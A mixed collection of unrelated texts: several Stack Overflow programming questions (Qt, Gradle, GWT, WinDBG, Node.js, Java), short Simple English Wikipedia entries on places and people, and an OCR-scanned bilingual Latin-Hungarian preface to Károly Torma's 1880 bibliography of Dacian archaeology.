People from Vienna |
<p>I tried to set an image to a Qt pushbutton using this widely known code.</p>
<pre><code>QPixmap *pic = new QPixmap(":/images/logo.png");
QIcon *icon = new QIcon(*pic);
ui->pushButton->setIcon(*icon);
ui->pushButton->setIconSize(QSize(pic->width(), pic->height()));
</code></pre>
<p>Here's my qrc file</p>
<pre><code><RCC>
<qresource prefix="/images">
<file>images/logo.png</file>
</qresource>
</RCC>
</code></pre>
<p>Even though the program compiles, always a runtime exception occurs at </p>
<pre><code>QPixmap *pic = new QPixmap(":/images/logo.png");
</code></pre>
<p>When I tried printing *pic on output console, it showed that pic = QPixmap(QSize(0, 0) ). i.e. it is null. Any ideas as to where I went wrong?</p>
<p>Thanks in advance!</p> |
<p>I'm new to using build tools and working on multi-project environments in general but I'll try explain the best I can.</p>
<h3>Structure</h3>
<p>This is the directory structure. (there's more modules actually but I tried to keep it simple for the purpose of this question)</p>
<pre><code>Project vcs repo root
+---Project A/
| build.gradle
| settings.gradle
|
+---Project B/
| build.gradle
|
+---Project C/
| | build.gradle
| \---libs/
|
+---Project D/
| build.gradle
| settings.gradle
|
+---Shared libs/
|
\---build.gradle
</code></pre>
<p>Project depedencies:</p>
<ul>
<li><code>A</code> depends on <code>B</code> and <code>C</code>.</li>
<li><code>D</code> depends on <code>B</code> and <code>A</code>.</li>
</ul>
<p>Each project can get its dependency from one of three places:</p>
<ol>
<li>mavenCentral</li>
<li>a <code>libs</code> directory from its own root directory. (the <code>libs</code> dir under <code>Project C</code> is only for <code>Project C</code> to use)</li>
<li><code>Shared libs</code> directory in the project's parent directory.</li>
</ol>
<p>however the libs folders contents are not guaranteed to be in certain format, (it is not a dir with all jars, there might be sub dirs and such)</p>
<h3>Goal</h3>
<p>I want each project to be buildable from the project's root directory, and I do not want to keep a redundant copy of repositories/dependencies of a child project in a parent project build. I should only have to provide the locations and possibly version numbers of child projects in the parent's build file.</p>
<h3>My Attempt</h3>
<p>in <code>C/build.gradle</code>:</p>
<pre><code>apply plugin: 'java'
repositories {
mavenCentral()
def myLibsDir = 'libs'
flatDir name: 'Foo', dirs: "$myLibsDir/foo/4.20"
//and then do a similar thing for shared libs if needed.
}
dependencies {
// atrifacts we can get from mavenCentral or 'C/libs/foo/4.20'
}
</code></pre>
<p>This works just fine for <code>Project C</code>, All tasks work as expected.</p>
<p>then when setting up <code>A</code>:
settings.gradle:</p>
<pre><code>includeFlat 'Project B', 'Project C'
</code></pre>
<p>build.gradle:</p>
<pre><code>repositories {
mavenCentral()
def sharedLibsDir = '../Shared libs'
flatDir name: 'Blazer', dirs: "$sharedLibsDir/blz/pls/13.37"
}
dependencies {
//non-subproject dependencies
compile project('Project B')
compile project('Project C')
}
</code></pre>
<p>this <em>almost</em> works. only problem is that, unlike dependencies, each sub project's <code>repositories {}</code> is ignored and the parent's is used instead. So if <code>C</code> depends on something in <code>C/libs</code> I'd have to include that in <code>A/build.gradle</code> 's <code>repositories{}</code></p>
<p>my guess is I could also use something like <a href="https://docs.gradle.org/current/userguide/userguide_single.html#sec:external_build" rel="nofollow">this</a> and then depend on the subproject's artifact(s) directly. Idk why exactly but this method seems harder to maintain.</p> |
Almaty (, Almatı oblısı, الماتى وبلىسى; ) is a region of Kazakhstan. Capital of this region is Taldykorgan, which has a population of 123,000. Population of the region: 1,807,894 (2009); 1,557,269 (1999).
Geography
Almaty Region is the province which surrounds the city of Almaty. The province borders Kyrgyzstan and Xinjiang (East Turkestan) autonomous province in China. The province also touches three other Kazakh provinces: Jambyl Province to the west, Karagandy Province to the northwest and East Kazakhstan Province to the north. Almaty Province has an area of 224,000 square kilometres.
History
Alma-Ata Province, the predecessor of today's Almaty Province, was created from the historical region of Zhetysu on March 10, 1932. Its capital was Alma-Ata (Almaty). Several times during the Soviet period, the north-eastern part of the province, centered on Taldykorgan, was separated from Alma-Ata Province, forming a separate Taldy-Kurgan Province, only to be merged into Alma-Ata Province again several years later.
In April 2001 the administrative center of Almaty Province was moved from Almaty to Taldykorgan. Thus Taldykorgan has become a provincial capital again - this time without splitting a province.
Demographics
In the 1989 census (excepting Alma-Ata)
Kazakhs 54.2%
Russians 28.6%
Uigurs 7.8%
Others 9.4% .
In the 1999 census (excepting Almaty)
Kazakhs 66.4%
Russians 23.8%
Uigurs 7.0%
Others 4.6% .
In the 2009 census (excepting Almaty)
Kazakhs 68.2%
Russians 22.8%
Uigurs 6.2%
Other 3.8%
Sights
Besqaynar - Ski resorts located 1500 metres above sea level
Tamgaly - a World Heritage Site (petroglyphs)
Charyn Canyon - Charyn National Park
Talgar - a region where the Issyk kurgan is located
Medeo - one of the most famous ice rinks in the world
Dostyk - a point of entry from China to Kazakhstan
Kapchagay Dam on the Ili River
References
Other websites
Official regional website
Provinces
Geography of Kazakhstan |
Raillimont is a commune. It is found in the region Picardie in the Aisne department in the north of France.
Communes in Aisne |
Saint-Boès is a commune of the Pyrénées-Atlantiques département in the southwestern part of France.
Communes in Pyrénées-Atlantiques |
<p>I have a huge GWT application where after I compile it, it generates a file <em>XXX.chace.html</em>. This file is very large -- about 3 MB -- and it requires the user to spend 30 seconds to load the webpage. Is there anyway to reduce this file other than using code splitting? I tried using the compress command in GZip, but apparently there's a bug filed to the effect that files larger than 1.5 MB wont be compressed.</p>
<p>Has anyone faced this issue before? How were you able to solve it?</p> |
<p>The following message is copied from WinDBG's output window:</p>
<pre><code>Use !analyze -v to get detailed debugging information.
BugCheck 24, {1904fb, 8f9ec9f8, 8f9ec5d0, 87c4fccc}
Probably caused by : Ntfs.sys ( Ntfs!NtfsCommonRead+6f4 )
Followup: MachineOwner
</code></pre>
<p>Please note the last line: <strong>"Followup: MachineOwner"</strong></p>
<p>What does it mean?</p> |
<p>So I modified the accepted answer in this thread <a href="https://stackoverflow.com/questions/14626636/how-do-i-shutdown-a-node-js-https-server-immediately">How do I shutdown a Node.js http(s) server immediately?</a> and was able to close down my nodejs server. </p>
<pre><code>// Create a new server on port 4000
var http = require('http');
var server = http.createServer(function (req, res) { res.end('Hello world!'); }).listen(4000);
// Maintain a hash of all connected sockets
var sockets = {}, nextSocketId = 0;
server.on('connection', function (socket) {
// Add a newly connected socket
var socketId = nextSocketId++;
sockets[socketId] = socket;
console.log('socket', socketId, 'opened');
// Remove the socket when it closes
socket.on('close', function () {
console.log('socket', socketId, 'closed');
delete sockets[socketId];
});
});
...
when (bw == 0) /*condition to trigger closing the server*/{
// Close the server
server.close(function () { console.log('Server closed!'); });
// Destroy all open sockets
for (var socketId in sockets) {
console.log('socket', socketId, 'destroyed');
sockets[socketId].destroy();
}
}
</code></pre>
<p>However, on the client side, the client throws a ConnectionException because of the server.close() statement. I want the client to throw a SocketTimeoutException, which means the server is active, but the socket just hangs. Someone else was able to do this with a jetty server from Java </p>
<pre><code>Server jettyServer = new Server(4000);
...
when (bw == 0) {
server.getConnectors()[0].stop();
}
</code></pre>
<p>Is it possible to achieve something like that? I've been stuck on this for a while, any help is extremely appreciated. Thanks.</p> |
Pamela Weston (born London, 17 October 1921; died 9 September 2009, Zürich, Switzerland) was a British clarinettist, teacher and writer. She inspired many musicians through her inspiring teaching and her books about clarinettists and clarinet playing.
Pamela Weston was born in London. Her father was a doctor. She went to Priors Field School, then went to the Royal Academy of Music and then got a scholarship to the Guildhall School of Music. She studied privately with Frederick Thurston, the principal clarinettist of the BBC Symphony Orchestra. She became Professor of Clarinet at the Guildhall in 1951, and stayed there until 1969.
She played in many concerts: sometimes as a soloist with orchestras, sometimes giving recitals or playing in chamber music. She was a member of the Klarion Trio (soprano, clarinet and piano) with whom she often played newly composed music including the "Songs of Innocence" which was written for them in 1957 by Arnold Cooke.
She wrote several books about famous clarinet players of the past. She also wrote "The Clarinet Teacher's Companion", a book which was used by many clarinet teachers.
During her last years she had a serious illness called encephalomyelitis. She did not want to suffer any more, so she travelled to Switzerland where she was allowed to have an assisted suicide.
Reference
Pamela Weston - Obituary; The Independent 23 October 2009, p. 47.
Pamela Weston - Obituary; The Guardian 08 October 2009. https://www.theguardian.com/music/2009/oct/08/pamela-weston-obituary
1921 births
2009 deaths
British teachers
Clarinetists
Deaths by euthanasia
Drug-related suicides
Musicians from London
Musicians who committed suicide |
Sterling, Virginia is a census-designated place (CDP) in Loudoun County, Virginia. The population as of the 2010 United States Census was 27,822.
It is located northwest of Herndon, east of Ashburn, and west of Great Falls, and includes part of Washington Dulles International Airport and the former AOL corporate headquarters.
References
Census-designated places in Virginia |
<blockquote>
<p><strong>Possible Duplicate:</strong><br>
<a href="https://stackoverflow.com/questions/2696812/varying-behavior-for-possible-loss-of-precision">Varying behavior for possible loss of precision</a> </p>
</blockquote>
<p>I found an inconsistence in Java strong typing check at compile time.
Please look at the following code:</p>
<pre><code>int sum = 0;
sum = 1; //is is OK
sum = 0.56786; //compile error because of precision loss, and strong typing
sum = sum + 2; //it is OK
sum += 2; //it is OK
sum = sum + 0.56787; //compile error again because of automatic conversion into double, and possible precision loss
sum += 0.56787; //this line is does the same thing as the previous line, but it does not give us a compile error, and javac does not complain about precision loss etc.
</code></pre>
<p>Can anyone explain it to me? Is it a known bug, or desired behavior?
C++ gives a warning, C# gives a compile error.</p>
<p>Does Java breaks strong typing?
You can replace += with -= or *= - everything is acceptable by a compiler. </p> |
Charles Lane (born Charles Gerstle Levison; January 26, 1905 – July 9, 2007) was an American character actor. His career spanned 64 years. Lane retired from acting at the age of 90. Lane is known for his roles in You Can't Take It With You (1938), Mr. Smith Goes to Washington (1939), Arsenic and Old Lace (1944) and It's a Wonderful Life (1946). Lane was born in San Francisco, California.
Lane died in Santa Monica, California from natural causes, aged 102.
References
Other websites
Charles Lane, Hollywood Character Actor, Dies at 102
1905 births
2007 deaths
Deaths from natural causes
American movie actors
American television actors
American stage actors
American voice actors
American centenarians
Actors from San Francisco |
REPERTÓRIUM
AD LITERATURAM DACI/E ARCH/EOLOGICAM ET EPIGRAPHICAM
REPERTÓRIUM
r w
DACIA RÉGISÉG- ES FELIRATTANI IRODALMÁHOZ
Hegedűs Gyula
könyvtárából
ÖSSZEÁLLÍTOTTA
TORMA KÁROLY
KIADJA
A M. TUD. AKADÉMIA ARCHEOLÓGIAI BIZOTTSÁGA.
Ára 2 frt 50 kr. = 5 mark
BUDAPEST, 1880
A MAGYAR TUDOMÁNYOS AKADÉMIA KÖNYVKIADO-HIVATALA
(AZ AKADÉMIA ÉPÜLETÉBEN)
Digitized by the Internet Archive
in 2010 with funding from
University of Toronto
http://www.archive.org/details/daciargisOOtorm
REPERTÓRIUM
AD LITERATURAM DACI/E ARCH/EOLOGICAM ET
EPIGRAPHIGAM
CAROLUS TORMA
EDICIT
COMMISSIO ACAD. SCIENT. HUNG. ARCH/EOLO G I CA
BUDAPEST
TYPIS SOCIETATIS FRANKLIN
1880
REPERTÓRIUM
DACIA RÉGISÉG- ÉS FELIRATTANI IRODALMÁHOZ.
ÖSSZEÁLLÍTOTTA
TORMA KAROLY
Hegedűs Gyula
1 könyvtárából
KIADTA
A M. TUD. AKADÉMIA ARCHEOLÓGIAI BIZOTTSÁGA
BUDAPEST
FRANKLIN-TÁRSULAT NYOMDÁJA
1880
ELŐSZÓ
PR.EFATK)
Editurusquaeinhunclibellumdigessi, videor hoc me fecisse ita,
atquidme ad hoc impulerit specialiter exponere necesse non habeam.
Universis enim notum est, lucubrationes doctofum virorum,
qui archaeologiam et epigraphicam tractabant scientiani, non modo
per Európám, sed iam etiam in patria nostra in tantam excrevisse
molem durante hujus seculi quadrante tertio, ut hoc tempore, qni
eas excutere velit, immensum lmnc apparatum literarium sub oculis
habere., argumenta ad suum propositum spectantia discernere non pos-
sit, immo matériám totam ad tempóra digerere vix cuiquain conth iga t.
Hsec difficultas praecipue in scriptis ad archasologiam spectan-
tibus obvenit, propter varietatem argumentorum, qua> in his disci-
plinis in tertio seculi nostri quadrante, tam multa instituit genera.
Archseologia? antiquae, quae circa quinquagesimum seculi annum tam
laetum ceperat incrementum, accesserunt archaeologia quae dicitur
praehistorica et anthropologia non paucas in partes ipsse dispertitae,
quas non tantum novitatis illecebris, et delectatione cum iis conjuncta
plerosque alliciebant, sed inprimis ideo colebantur latius, et pro-
creabant plura et pretiosiora scripta, quod ea, quae in omnibus tere
Európa- regionibus monumenta priscorum earundem incolarum
putantur, ad id usque tenrpus vix animadversa et non modo in
scientia1 usum non recensita, sed paene omnino incognita erant.
Archaeologiae praehistorica1 stúdium in patria nostra cum magnó
novae huius scientiae incremento pariter progreditur, et ut plures non
nominem Ipolyi, Eómer, Eugenius 1. 1). Nyáry, Hampel, Majláth,
Gooss, Lehoczky inquisitionibus suis, sed prae omnibus eruditissimus
Franciscus Pulszky, dissertationibus suis, in quibus non modo ipse
Bemper altiorem capere locum nititur unde res observationi suse
subiectas contempletur, sed et alios in sublime tendere impellit,
viam iis monstrans, laté omnia obtutu suo complectens, studia patria
non modo introduxerunt in literas universales his pra?historicis
I gy vélem, hogy ez összeállítás közreadásai nem szúk-
különösebben indokolnom.
Köztudatra van ugyanis, hogy a r< lírattani nem
csak európai de hazai es hazánkra vonatkozó irodalom is e század
harmadik negyedében s főleg azon innen oly nagy terjedelmei
hogy a kutató az é nemű nagy irodalmi készletet, a felveti tárgyára
vonatkozó adattömegei áttekinteni szinte képtelen, az anyag szúk-' -
,Lres időrendi csoportosítása meg épen alig lehet-' g< 3.
E nehézség főleg a régiségtani irodalom termékeire nézve áll
fenn annál a sokoldalúságnál fogva, melyet épen e tudományszakot
illetőleg századunk harmadik negyede teremtett. Az antik régészethez,
mely az ötvenes evek óta európaszerte nagy virágzásnak indult, új
tudományszakok, az ősrégészel s az embertan számos alosztályaik-
kal sorakoztak, melyek nem csak az újság ingere, gyönyörködtető
voltuk, de főleg az által valtak közkeletűvé, indultak nagyobb mérvű
műveletnek s teremtettek ennélfogva szaporább és értékesebb irodal-
mat, hogy mindaz, a mi Európa egyes országai őslakóinak emlékére,
maradványaira vonatkozik, addig - kevés kivétellel — tudományi-
lag jobbadán mellőzve s nem hogy értékesítve de még felismerve is
alig volt.
Hazai ősrégészetünk lépési tart az új tudomány erős fejlöd
vei s hogy többekel ne említsek Ipolyi, Rómer, báró Nyáry Jenő,
Hampel, Majláth, Gooss, Lehoczky vizsgálódásai s főleg a nagy tu-
dományú Pulszky Perencz magasabb szempontokai kereső, találó s
a találtakat szeles látkörénél fogva a tudomány előbbvitelére értéke-
sítő tanulmányai hazánk - «ti irodalmat a világirodalomba
VII] Prgefatio.
studiis destinatas, verum etiam haud humilem iis locum assignave-
runí. et assiduo Laboré firmaverunt.
Quicunque his operám dederunt, — et sat fauste evenit quod
non sünt pauci — haud sünt ignari scripta quae apud nos de rebus
antiquis et praehistoricis tractant, in tantam iani excrevisse molem,
ut iam adesse videri possit tempus, ut omnis hffic matéria literaria
conquiratur, et secundum classes in ordinem redigatur, hoc verő
aptius fieri non potest, quam sub forma indicis, sive ut nominatur
repertorii per singulas partes digesti.
Fateor, nunquam mihi venit in mentem, főre, ut ego siin, qui
molestias tanti operis si non omnes, at saltem ex parte suscipiam,
cum praecipue hucdum studio solum inscriptionum Romano-Daci-
carum me dedidissem. Sed «habent sua fata . . . homines», itaque
paucis narrandum mihi est, quomodo res ceciderit, et quid fecerit me
compositorem repertorii. partém literaturae archa?ologicae et epigra-
phicae patriae complectentís.
Per satis longam annorum seriem dum investigandis titulis
Romanis in Dacia operám dabam, et apparatum ad maius opus.
quod sub titulo „Monumenta Hungáriáé aevi Homani epigraphica"
edere m animo est. undique conquirebam, non raro usu venit, ut
fontes harum rerum epigraphicos et archseologicos, nec secus histo-
ricos diligenter perscrutarer, et ita schedas conficerem, et in meum
usum in ordinem digererem. Haud abs re mihi videbatur, quum
singula adnotarem. praehistorica et alia quae quodammodo cum his
conjímcta esse videbantur non pra-termittere, et ita diligenter excussi
quidquid de rebus archíeologicis et epigraphieis partium Transilva-
narum sive Daciae antiquae literis mandátum nancisci poteram. Ita
labor latius spatium amj^lexus i^er annorum seriem — viginti sünt
anni ex quo Daciae sacrosanctam scrutor vetustatem — satis magnam
schedarum effecit eopiam, quae facile, et quasi sponte in justum
excrevit repertórium, cuius matéria non tantam ex literis patriis
«|ua ad Daciám referuntur, verum etiam. et quidem maiore ex parte,
ex extraneis quoque deprompta est.
Qui saepissime harum schedarum ope praeclare me adjutum
experiebar, delinquere me putabam, nisi eas publici iuris facerem.
Nimis laetor, Commissionem Academiav scientiarum Hungariea Ar-
chaeologicam in eadem fuisse sententia, et liberalitate sua effecisse,
Előszó. I X
nemcsali bevezették, de abban Bzámára tekintélyes helyei is vívtak
ki s biztosítottak folytonos munkásságuk által.
A kik azzal foglalkoznak s ilyenek Bzerencsére nincsenek
kevesen — igen jól tudják, hogy antik-s úgynevezett ö
és felírattam irodalmunk immár oly nagy terjedelmű, hogy elér-
kezettnek tarthatni az időt az irodalmi anyag összegyűjtést
osztályozására a minek csak a szakrepertórium Lehet gyakorlati
formája.
Meg kell vallanom, hogy soha sem gondoltam arra. hogy az. a
ki e fárasztó munkának, ha csak részben is magát alá fogj;! vetni.
épen magam leszek, a ki pedig jobbára csak a római - kiválólag a
dáciai felírattannal foglalkozom. De «habent sua fata . . . homú
s hogy a dolog miként esett és hogyan lettem a hazai régészeti -
felírattam irodalom egy része repertóriumának egybeállítójáva, szük-
séges elmondanom.
Evek hosszú sora óta foglalkozván Dacia felírattanával a
,,Monumenta Hungáriáé aevi Romani epigraphica" czím alatt majdan
közrebocsátandó nagyterjedelmű művem előkészítése közben folyto-
nos szükségem leven az idetartozó forrásokra, felirat- és n
taniakra úgy mint történetiekre, azokat magán használatul külön
sorozatba vettem. Jegyezgetés közben czelszerünek véltem az ősr
szeti s más rokon szakokra is figyelmet fordítani s így a hazánk
erdélyi részére, az egykori Daciára vonatkozó régiség- s felírattam
egész irodalmat lehetőleg átböngészni. Az ekként szélesebb alapra
fektetett mivelet Erdély földének régiségekben gazdát; voltánál fogva
évek során át — 20 év óta foglalkozom Dacia sacrosancta vetustásá-
val — jókora jegyzetcsomót eredményzett a mi utóvégre valóé
repertóriummá nőtte ki magát, a mely repertórium alapját a Daciára
vonatkozó nemcsak hazai irodalom képezi, hanem i - pedig tetemes
arányban a külföldi is.
A kinek vajmi sokszor volt alkalmam e sorozatnak jó has
venni : szinte bűnnek tartam azt a közhasználat alól elvonni. 1
/.etet. örömemre, a Magyar Tudományos Akadémia Archeológiai
X Praefatio^
ut eas edere possim. Ita prodit repertórium, quod in meimi usum
composueram, et téretur manibus eorum qui archaeologias studio
delectantur, tanquam separatum caput Monumentorum meorum,
quorum alterum affinis argumenti caput, recensionem literaturae
epigraphicae Dacicae, alia occasione et alio loco edere in animo est.
Quae hic in unum corpus íedegi, literaturam archaeologicam
totius provincia1 Dacia? a Romanis constituta?, ut latissime patebant
eius fines, complectuntur, id est praeter Transilvaniam propriam eas
quoque regiones, in quibus hoc tempore inferior, hoc est meridionalis
pars Moldávia1, et tota Valachia sünt sitae. Porro praeter comitatus
Krassóviensem, Aradiensem, Severinensem et Temesiensein, qui olini
ipsius Dacia? fuerant partes, eos quoque, qui Tibisco inferiori adja-
cent, et interfluvium Danubii et Tibisci occupant, vei his finitimi
sünt, ut puta Torontálién sem, Csongrádiensem, Csanádiensem, Beke-
siensem, immo et partém comitatus Bácsiensis finibus Dacicis adjunxi,
non tantum ideo, quia termini occidentales Dacia? Komán* huc
usque nondum sünt pláne eogniti, sed etiam quia in solo horum
comitatuum eiusmodi priscarum gentium monumenta occurrunt paene
quotidie, quae priscis incolis Dacia? cognati fuisse videntur, et secua
etiam cum provincialibus Dacia? Romána1 nűnc hostiliter, nunc
pacate sed Bemper et continue communi quadam ratione degebant;
itaque monumenta earum nosse non levis momenti est in archaeologia
et história Daciaj occujoato. Eadem de causa repertorio meo inserui
quidquid de monumentis gentium Dacia1 a septentrione et inde
occidentem versus finitimarum qua1 comitatus Máramarosiensem,
Szatmáriensem et Bihariensem et regiones quondam ita dictarum
Partium (districtum nempe Kővár, comitatus Szolnokiensem1 Mé-
dium, Krasznensem, et penitus occidentem versus situm Zarándien-
sem) incolebant.
Repertórium meum, in quod omissis monumentis a?vi immi-
grationis Hungarorum, quorum sane perpauca sünt hodiedum ita
cognita, ut de iis dubitari non possit, tantum ea retuli, qua? e tempo-
ribus priscis sive ut vocantur praehistorieis, tum a Romanis et ex
,i taté proprie migratíonis gentium dicta? supersunt, iam ob id ipsum,
quod amplius spatium amplectitur, multo absolutius est, quam indices
et notitiae literariae, qui huc usque de literatura preecipue historica et
Előszó. \ I
Bizottsága is osztotta a Liberalitásánál fogva lehetővé tette a sorozat
közreadását. Ekként jelen meg a magán használatra összeállítót!
repertórium s jut a régiségtani kedvelő közönség kezébe Monumen-
táimnak mintegy külön fejezetéi alkotván, melynek egy másik, i
rokon fejezetet. Dacia felírattani irodalmának ismertetéséi más alka-
lommal s más helyen fogom közölni.
Összeállításom a rómaiak által alapított provincia Dacia <
területére vonatkozó régiségtani irodalmat öleli fel, tehál a Bzűkebb
értelemben vett Erdélyen kívül ama területet is, melyen ma Moldo-
vának alsó, déli része s az egész Havasaifölde fekszik. Továbbá a
Dacia területét részben alkotott Krassó-, Arad, Szörény-^ a Temes-
megyén kívül az alsótisza-menti s a Duna-Tisza deltáját alkotó vagy
ahhoz közel eső megyéket is, mint Torontál-, Csongrád-, Csanád-,
Békésmegyét sőt Bácsmegye egy részét is Dacia területeként vettem
fel nem csak abból a tekintetből, hogy a római Dacia nyugati határa
pontosan még nincs megállapítva, hanem azért is, mivel <■ megyék
területen oly ősnépek emlékei kerülnek folyton napvilágra, melyik
Dacia őslakóival többé-kevésbbé rokon fajhoz tartozván a a római
Daciával különben is békés vagy ellenséges de mindig tartós érint-
kezésben levén, emlékeik ismerete Dacia régészetére a történetére
nézve kiválóbb érdekkel bír. Ugyanazon okból csatoltam e repertó-
riumhoz a Daciával északról és északnyugatról Bzomszédos barbár
néptörzsek által egykor lakott Máramaros-, Szatmár- i - Biharmegye
s az úgynevezett Partium (a volt Kővárvidéke, Közép-Szolnok-,
Kralt/ma- a az egészen nyugatra fekvő Zarádmegye) t< rületéü előfor-
dult emlékekre vonatkozó adatokat is.
Repertóriumom, a melyben mellőzve az úgynevezett magyar
betelepülési kor maradványait, a milyenekül még felette kevés van
constatálva, az ős-, római- s a szorosabb értelemben vett népvándor-
lási kor emiekeit tárgyaló adatokat állítám egybe, mai- csak tágabb
körre fogott voltánál fogva is jóval kimerítőbb mint mindazok a
bibliographiai és repertóriumi sorozatok, melyek Dacia főleg 1
XII Praefatio.
epigraphica Daciae prodierunt, quales sünt : Momseni1), Ore.llii2),
Neigebauri iproprir comitis Josephi Kemény 8), Herberti4), Credneri 5),
Odobescui ,;). Kogabiitchani 7) et postremo Szinnyeii praeclarum repertó-
rium >s), quamquam tuntum ex parte. Pfaeterea horum plerique aut sin-
gulareminfinem facti sünt, velut Momseni, Orellii et comitis Kemény
epigraphica et Kogalnitchani historica ; aut certam aliquam rationem
sequebantur, sicut Szinnyei, qui praetermissis libris, qui integri de hac
matéria tractabant, ea solum enotavit et collegit quae in scriptis pe-
riodicis a. 1778-1873 reperiebantur, vei Herbert, qui nonnisi germanica
scripta assumpsit, matériám prsebentibus praeter quaedam actaVindo-
bonensia et opuscula Academica, solum iis quae in actis Saxonum
Transilvanicorum publicata erant, vei denique Odobescu, qui — ut
taceam parum nóta ei esse quae Hungarice scripta sünt — haud
amplam seriem recensét scriptorum archaeV)logicorum Daciám spec-
tantium. Praeterea non leve incrementum accessit his literis, ex quo
indices isti prodierunt. Itaque cum bona fiducia dixerim, omnes eius-
dem argumenti compositiones in angustioribus finibus versari, quam
hoc repertórium, quod cuique vei cursim conferenti facile apparebit.
Deinde, ne plura memorem, quidquid in opere aliquo vei seorsim
edito, vei maiore in dissertatione, aut breviore lucubratiuncula de
Dacia adnotatum inveni, in repertórium hoc intuli ; saepius enim
expertus eram, singula breviter adnotata, quamvis levis momenti
viderentur, gravissima argumenta suppeditare et praecipue topogra-
phica, chronologica cet. inquirenti.
1) Corpus Inscriptiunum Latinarum. Vol. III. P. 1. Berolini, 1873.
-) Inscriptionum Latinarum selectarum amplissima cöllectio. Turici, 1828.
8) Dacien. Kronstadt, 1851.
*j Repertórium über einen Theil der Siebenbürgen betreffenden Literatur.
Hermannstadt, 1878.
:,i Bibliotheca Transsilvanica. Verzeickniss der über Siebenbürgen ersclne-
aenen Bücber, Landkarten etc. Prag, 1865.
flj Bibliographia Daciei. [ndice de serieri attingetore, directu séu inli-
rectu, de vechii Locuitori ai Daciei. Buceuresci, 1872.
7) Histoire de la Dacie, desValaques transdanubiens et de la Valachie.
Berlin, 1851.
8) Hazai és külföldi folyóiratok magyar tudományos Repertóriuma. 1. k.
Budapest, 1874.
neti s felírattani irodalmáról eddig közreadattak, milyenek Mommsen ' I,
Orelli9), Neigebaur (voltaképen gróf Kemény József)8) Herbert4),
Credner5), Odobescu6), Kogalnitchan1) lajstromai - végűi habár csak
részben Szinnyei jeles repertóriuma8). Effelett ezek Legtöbbje
csak speciális, mint Mommsené, Orellié éa gróf Keményé felírattani
s Kogalnitchané történeti czélból készült, vagy pedig csupán bizo-
nyos irányban, mint például a derék Szinnyeié, ki az önállóan meg-
jelent művek mellőzésével csak a folyóiratokban 1778 1873. meg-
jelenteket, vagy Herberté, ki csak a német nyelven s néhány I
tudományos folyóirat a akadémiai kiadványon kívül csak az erdélyi
szász folyóiratokban közreadott müveket állítá egybe; vagy végül az
Odobescué, ki — nem is említve, hogy a magyar kiadványokat ke-
véssé ismeri — a Daciát illető régiségtani irodalomnak nem épen bő
sorozatátadja. De meg azóta, hogy e sorozatok megjelentek a kér-
déses szakok irodalma bőségesen gyarapodott. Ekként bízvást mond-
hatom, hogy valamennyi e nemű összeállítás szűkebb körben mozog
mint e repertórium, miről egy futólagos összevetés bárkit meggyőzhet.
Aztán, hogy egyebekről ne szóljak, az önálló vagy terjedelme-
seid) értekezéseken, czikkeken kívül a legapróbb közlemény is hacsak
Daciára vonatkozik helyet talált e repertóriumban : többszörös alkal-
mam volt ugyanis tapasztalni, hogy néha valamely rövid, nem nagy
igénynyel közreadott értesítés általában is, de fölei1; helyrajzi, idő-
rendi stb. tekintetben mily megbecsülhetetlen adatot szolgáltat a
kutatónak.
') Corpus Inscriptionum Latiuarum. Vol. III. 1'. 1. Berolini, 1873.
2) Inscriptionuni Latinaram seleetamm amplissima collectio, Turici. 1>>_S
3) Dacien. Kronstadt, 1851.
4i líepertorium über eiuen Theil der Siebenbürgen betreffenden Litera-
tiir. Heniiamistadt, 1878.
5) Bibliotheca Transsilvanica. Yerzeichniss der über Siebenbürgen erscbie-
neiien Bücher, Landkarten etc. Prag, 1865.
6) Bibliographia Daciei. [ndice de scrieri attingetore, directn Béu indi-
rectu, .le vechii locuitori ai Daoiei. Buccnresei, 1872.
7) Histoire de la Dacie, des Valaqaea Transdanubiens el de la Valacbie.
Berlin. 1854.
8l Hazai és külföldi folyóiratot magyar tudományos Repertóriuma. I. k.
Budapest, 1874.
XIV Praefatio.
Atque hanc mihi rationem procedendi proposui, ut nullmvi
opus. nullám dissertationem, nullám tandem adnotationem vei
cuiuscunque generis scriptiunculam indici huic inseram, quae ipse
oculis perlustrare aut periegere mm potui, quum liaud inscius essem,
meam me fidtin interponere debere, pro veracitate et exaetitudine
indicationum mearum, id verő ita tandem praestare possum, si ocu-
latus testis omnium fuerim. Deque hoc proposito nunquam declinavi,
etiam si opus aliquod in uno alterove indice citátum inveneram.
Itaque facile concedo repertórium meum non esse omni ex parte
completum ; at fidenter affirmaverim eo plus ei accedere fidei, et id
etiam assevero, longum esse in hoc opere talium indigitationum or-
dinem, quas diligens harum scrutator in aliis eiusdem argumenti
indicibus frustra requirat.
Haud ignarus sum ipse, multa in hoc repertorio non inveniri,
quaetameninseri debuissent, sed praeter supra memorata, hanc quoque
habeo excusationem, quod bibliothecae in patria nostra existentes,
haud ita sünt supellectile literari o instructa?, ut qui eiusmodi indicem
componere accingatur permulta desiderare non debeat. Etsi licuit
mihi bibliothecas musei Transilvanici, musei Bruckenthaliensis Cibi-
niensis, Academiae scientiarum Hungarieae, musei nationalis, et regia?
scientiarum Universitatis Hungaricae ; porro apparatum literarium
musei antiquarii Húngarici nec non musei numismatici et archa^olo-
gici Caesaréi Vindohonensis, bibliothecasve quorundam privatorom
— velut inter plures Alexandri Szilágyi amici optimi, quae Trans-
silvanicis, Timothei Cipariu prsspositi Gravco-catholici et Moldovanii
Canonici Blasiensis quae Eumuno (Valachico) idiomate editis abun-
dant - — ■ quibus omnibus hoc loco pro comi erga me liberalitate
meritas ago gratias, iterum iterumque excutere : tamen in omnibus
his collectionibus tani locupletibus et splendidis plenariam illám
matériám quae ad propositum meum pertinet, reperire non potui.
Accessit ea quoque difficultas, quod propter bibliopolarum nostrorum
statum, multaque alia adversa magnam partém eorum (pia1 in llo-
mania publicata sünt, nonnulla programmata gymnasiorum Saxonum
in Transilvania scriptaque periodica et diurna ibidem edita, immo e1
aliquot opuscula Hungarica, utpote Societatis historicae et archaeo-
logicae Hungáriáé Meridionalis librum memorialem, publicationes
collegii archaeologorum Biharieusium, et aliquot acta literaria externa
Előszó. XV
Az adatot összeállításában elvül tűztem ki. hogy oly művet,
értekezést, czikket, közleményt, melyei magam nem láttam s nem
olvastam ;ít, u sorozatba nem veszek fel jól tudván, hogy adataim s
hivatkozásaim pontossága iráni felelősséggé] tartozom a i onélíogva
csak arról állhatok és állok is jót, a mit enszemeimmel láttam és így
jelöltem meg. S ezt ;iz elvet következetesen keresztül is vittem habár
ezt vagy azt a müvet egyik vagy másik összeállításban idézve Láttam
is. Ennélfogva lehet, sőt hiszem is, hogy e repertórium nem telji s,
